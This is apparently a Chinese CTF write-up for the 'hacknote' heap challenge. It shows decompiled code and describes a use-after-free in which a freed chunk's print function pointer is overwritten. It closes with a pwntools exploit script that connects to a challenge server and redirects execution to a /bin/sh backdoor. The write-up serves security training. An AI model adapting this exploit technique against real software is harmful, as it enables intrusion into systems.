# 1. 程序分析
32 位程序,开了 NX
伪源码:
main
int __cdecl __noreturn main(int argc, const char **argv, const char **envp) | |
{ | |
int v3; // eax | |
char buf[4]; // [esp+0h] [ebp-Ch] BYREF | |
int *v5; // [esp+4h] [ebp-8h] | |
v5 = &argc; | |
setvbuf(stdout, 0, 2, 0); | |
setvbuf(stdin, 0, 2, 0); | |
while ( 1 ) | |
{ | |
while ( 1 ) | |
{ | |
menu(); | |
read(0, buf, 4u); | |
v3 = atoi(buf); | |
if ( v3 != 2 ) | |
break; | |
del_note(); | |
} | |
if ( v3 > 2 ) | |
{ | |
if ( v3 == 3 ) | |
{ | |
print_note(); | |
} | |
else | |
{ | |
if ( v3 == 4 ) | |
exit(0); | |
LABEL_13: | |
puts("Invalid choice"); | |
} | |
} | |
else | |
{ | |
if ( v3 != 1 ) | |
goto LABEL_13; | |
add_note(); | |
} | |
} | |
} |
menu:
int menu() | |
{ | |
puts("----------------------"); | |
puts(" HackNote "); | |
puts("----------------------"); | |
puts(" 1. Add note "); | |
puts(" 2. Delete note "); | |
puts(" 3. Print note "); | |
puts(" 4. Exit "); | |
puts("----------------------"); | |
return printf("Your choice :"); | |
} |
del_note:
int del_note() | |
{ | |
int result; // eax | |
char buf[4]; // [esp+8h] [ebp-10h] BYREF | |
int v2; // [esp+Ch] [ebp-Ch] | |
printf("Index :"); | |
read(0, buf, 4u); | |
v2 = atoi(buf); | |
if ( v2 < 0 || v2 >= count ) | |
{ | |
puts("Out of bound!"); | |
_exit(0); | |
} | |
result = *((_DWORD *)¬elist + v2); | |
if ( result ) | |
{ | |
free(*(void **)(*((_DWORD *)¬elist + v2) + 4)); | |
free(*((void **)¬elist + v2)); | |
result = puts("Success"); | |
} | |
return result; | |
} |
print_note:
int print_note() | |
{ | |
int result; // eax | |
char buf[4]; // [esp+8h] [ebp-10h] BYREF | |
int v2; // [esp+Ch] [ebp-Ch] | |
printf("Index :"); | |
read(0, buf, 4u); | |
v2 = atoi(buf); | |
if ( v2 < 0 || v2 >= count ) | |
{ | |
puts("Out of bound!"); | |
_exit(0); | |
} | |
result = *((_DWORD *)¬elist + v2); | |
if ( result ) | |
result = (**((int (__cdecl ***)(_DWORD))¬elist + v2))(*((_DWORD *)¬elist + v2)); | |
return result; | |
} |
add_note:
int add_note() | |
{ | |
int result; // eax | |
int v1; // esi | |
char buf[8]; // [esp+0h] [ebp-18h] BYREF | |
size_t size; // [esp+8h] [ebp-10h] | |
int i; // [esp+Ch] [ebp-Ch] | |
result = count; | |
if ( count > 5 ) | |
return puts("Full"); | |
for ( i = 0; i <= 4; ++i ) | |
{ | |
result = *((_DWORD *)¬elist + i); | |
if ( !result ) | |
{ | |
*((_DWORD *)¬elist + i) = malloc(8u); | |
if ( !*((_DWORD *)¬elist + i) ) | |
{ | |
puts("Alloca Error"); | |
exit(-1); | |
} | |
**((_DWORD **)¬elist + i) = print_note_content; | |
printf("Note size :"); | |
read(0, buf, 8u); | |
size = atoi(buf); | |
v1 = *((_DWORD *)¬elist + i); | |
*(_DWORD *)(v1 + 4) = malloc(size); | |
if ( !*(_DWORD *)(*((_DWORD *)¬elist + i) + 4) ) | |
{ | |
puts("Alloca Error"); | |
exit(-1); | |
} | |
printf("Content :"); | |
read(0, *(void **)(*((_DWORD *)¬elist + i) + 4), size); | |
puts("Success !"); | |
return ++count; | |
} | |
} | |
return result; | |
} |
仍然是堆的菜单题
gdb 调试随便输入几个查看堆,这里是 tcache
应该是需要切换 glibc 版本:
再删除 index1
看看
bin:
此时我们发现他的操作都是两个两个一起的,看一看地址情况
再查看一下程序产生的 0x10 的 chunk
的 fd 是是什么
这里发现是一个 print_note_content
函数,利用 ida 看一下
反汇编,发现是一个 puts :
int __cdecl print_note_content(int a1) | |
{ | |
return puts(*(const char **)(a1 + 4)); | |
} |
设置个断点然后运行一下
这里发现刚好会 print_note_content
函数断开
这里也就输出我们的内容:
也就是说我们调用 print_not
就会通过该地址值来输出内容(因为 print_note
中并没有打印内容的函数)
这里就知道了 chunk
的 fd 指向了 print_note_content
回去执行打印内容
# 2. 漏洞分析
查看字符串,发现有 /bin/sh
:
跟进去看看,发现直接是个后门,没有开启 pie,所以我们可以利用:
这里发现 delete_note函数
并没有将指针置空,【错误的】 也就没有将对应的 index 号置空,也就是说,即使删除 index 后我们再次申请的 index 号仍然会增加,但是和之前删除的指向的是同一个地址
这里试一下将 index1删除
,再申请同样大小的 chunk
内容为 www
看到原本的 index1 的内容被覆盖了,现在就要想办法将上面的 0x11
的 chunk
的 fd 改写为后门函数的地址即可
我们知道 size 对应的 0x11 实际 chunk 的大小为 0x8,而执行 delete_note
函数时会将两个一起释放,那么我们只要将释放的 0x8
大小的 chunk
从 fastbin 中回收再改写 fd
即可即可
# 3.exp:
from pwn import * | |
from LibcSearcher import * | |
context.log_level = 'debug' | |
p=remote('node4.buuoj.cn',27648) | |
#p=process("./hacknote") | |
system_binsh=0x8048945 | |
def add(size,content): | |
p.sendafter("choice :","1") | |
p.sendafter("Note size :",str(size)) | |
p.sendafter("Content :",content) | |
p.recvuntil("Success !") | |
def delete(index): | |
p.sendafter("choice :","2") | |
p.sendafter("Index :",str(index)) | |
def print_a(index): | |
p.sendlineafter("choice :","3") | |
p.sendlineafter("Index :",str(index)) #这里要加换行,不然无法成功 | |
add(16,"aaaa") | |
add(16,"bbbb") | |
add(16,"cccc") | |
delete(0) # | |
delete(1) # | |
add(8,p32(system_binsh)) #这里的 8 是程序创建的 chunk 的大小释放后被我们申请回来利用,原本这里 fd 存放的是 print_note_content | |
print_a(0) #给 index0 申请 chunk1 | |
p.interactive() |